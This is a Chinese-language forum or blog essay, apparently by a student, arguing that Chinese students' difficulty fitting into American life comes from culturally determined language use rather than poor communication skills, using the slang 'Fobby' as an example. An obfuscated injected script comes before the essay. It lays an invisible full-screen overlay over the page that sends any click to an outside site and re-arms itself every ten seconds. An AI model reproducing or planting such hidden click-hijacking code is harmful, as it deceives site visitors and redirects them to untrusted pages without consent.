<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>注:期末赶着复习时候写成的,请大家多支持啊,我可说不定要付出一个A的代价。过几天我会转到留美呓语板块。
对于许多在美国读书的中国学生来说,融入美国文化是学习和工作以外,最为重要的一个问题。似乎我认识的不少人,几乎在每日的交流中,常常感受到与一整个社会的格格不入,并且因此陷入困扰。这种困扰的来源,是一种深深的挫折感。不知道从什么时候起,和美国人打成一片,被赋予了一种正面的价值和意义,而格格不入,似乎就被打上了失败的标签。大概这种认知的来源,是因为不少国人认定了能够顺利融入美国文化的学生,一定拥有优异的沟通能力,而那些遭遇文化阻隔的学生,一定是缺乏社交技巧,甚至是拥有一定的性格问题,例如自我孤立,拒绝交流。
然而融入或者不融入美国社会,并不只是单单纯纯地由沟通技巧或者沟通意愿决定。相反,这涉及了一个严肃的文化选择问题。
单纯从交流的方式来说,在美国求学的大陆学生一般拥有不错的英语沟通水平,和美国本土学生交流,并没有语言形式方面的障碍。那么问题在哪里呢?一般来说,语言包含了形式(Form),使用(Use),和内容(Content)。那么内容有没有问题?有趣的是,在我观察的大多数友人之间,完全熟悉美式语言内容并没有问题。虽然常常满是文化的阻隔,但是人类认知和判断的模式,或多或少是类似。一些跳跃的逻辑包含着深刻的文化背景,然而这个社会的准则,是允许询问逻辑表达的疑难并且理应得到解释。于是经历了一段时间的学习过程,大多数中国学生都能够准确地了解语言所传达的内容,甚至能够掌握表层内容之后多层的含义。很明显的例子,如果只是聆听相对正式的,逻辑性强的谈话,虽然双方拥有不同的文化背景,但是往往中国学生并不存在太多的理解障碍。
那么问题,在哪里?剩下的选项,只有一个,也就是语言的使用。语言使用的障碍,说穿了非常常见,比方说一些特殊的词汇,包含了文化常识的的引用和指代,还有生活中习惯的比喻,都可能构成了这种障碍。随便举个例子,或许刚到美国的学生,一面被嘲笑Fobby,一面甚至不知道Fobby到底是什么含义。实际上,具体解释了这个词汇的用法之后,中国学生能够轻松地理解它的内容,但是在生活中,由于详细询问语言的使用既是不可能的,也是不欢迎的,因此中国学生并没有很多机会以一个外人的身份“学习”使用方法,就如学习语法一样问。当然,后文也会提及,即使允许学习,在本土文化外的中国学生也是无法学习到语言使用习惯的,因为根本,无可学习。
或许很多人会解释,尽管了解这些使用的习惯很难,但是足够的沟通,是可以达成这个目的的,比方说,厚着脸皮的询问,积极地了解美国人的生活,看他们的电视,听他们的歌曲,甚至多翻字典,就可以知晓。于是可以简单的总结,是因为中学学生们主动的退却,拒绝了解,才导致他们丧失跨文化的沟通能力。
实际上,这种归纳,更多的,是一种误解。原因很简单,语言的使用,实际上既没有规则,也没有固定的内容。 举个例子,继续分析上文说到的Fobby。Fobby,来自于Fob,也就是Fresh of Boat, 这个词汇最早的来源,是用来形容新移民和本土生活习惯脱节,后来演化成对一切与现实中Cool/Tight行为不符合的“老土”举动。但是什么举动是Cool?什么举动又是和Cool相反的Fob?这是一组相对的关系,却没有绝对的含义。没有规则,也没有内容可言。至于在具体的谈话中,这个词汇到底是什么意思,往往是由当时的文化现状,动态决定的。或许在70,80年代移民潮的时候,穿喇叭裤是老土,而到了现在,说不定小喇叭裤又成了时尚潮流。换言之,Fobby是一个“载体”词汇,只有在一个具体的文化群体和文化环境中,才被灵活地赋予一个意义。
常见的,一个具体的文化群体,常常会对于大量的语言使用模式赋予文化性的意义,并且这个意义,也是随着时间和社会情况的变换,而不断改变的。换言之,无论是Fobby还是其他语言的使用,并不只是在表达一个翻字典可以查到的意义。相反,这种文化决定的用法,正是由于一个文化群体有着区分和自我认定的动机,才形成的。通过利用流动语言使用规则,一个文化群体不但可以明确他们族群的边界,也可以确立文化族群的认知。
话说到这里,答案已经很明确,中国学生无法和美国人进行正常并且亲近的日常沟通的问题,不是沟通能力的问题,而是一种文化区分的后果。当然,这里的文化区分,并不包含任何贬义,因为一个团体,总必然要确认边界,确认谁是成员,而谁不是。换言之,如果一名中国学生要真正地能够与美国人达成在口语和生活环境上进行顺畅的交流,这也意味着这名学生不但要主动选择进入美国文化,而且要被这种文化认可。
换句话说,是否融入美国人的生活,不但涉及到了一个沟通技巧的问题,而涉及到一个文化种群选择的问题,也就是,选择你是谁的问题。而这个选择,并不是涉及到具体的能力和水平,而更多涉及到价值和个人喜好,自然而然的,也是由每个学生自己对自己的认知决定。有人选择和美国社会保持距离,有人选择取其精华,去其糟粕,有人选择双重的文化认同,甚至是全面西化的文化认同。我想,这只是一种个人的文化倾向罢了。从常见的角度说,和自己的文化群体抱团,更加能够明确自己的身份和文化认知。只要在这同时,能够保持和美国人正常的,虽然难免是表层的沟通,这种选择,实质上是一种非常积极也易于执行的选择。 |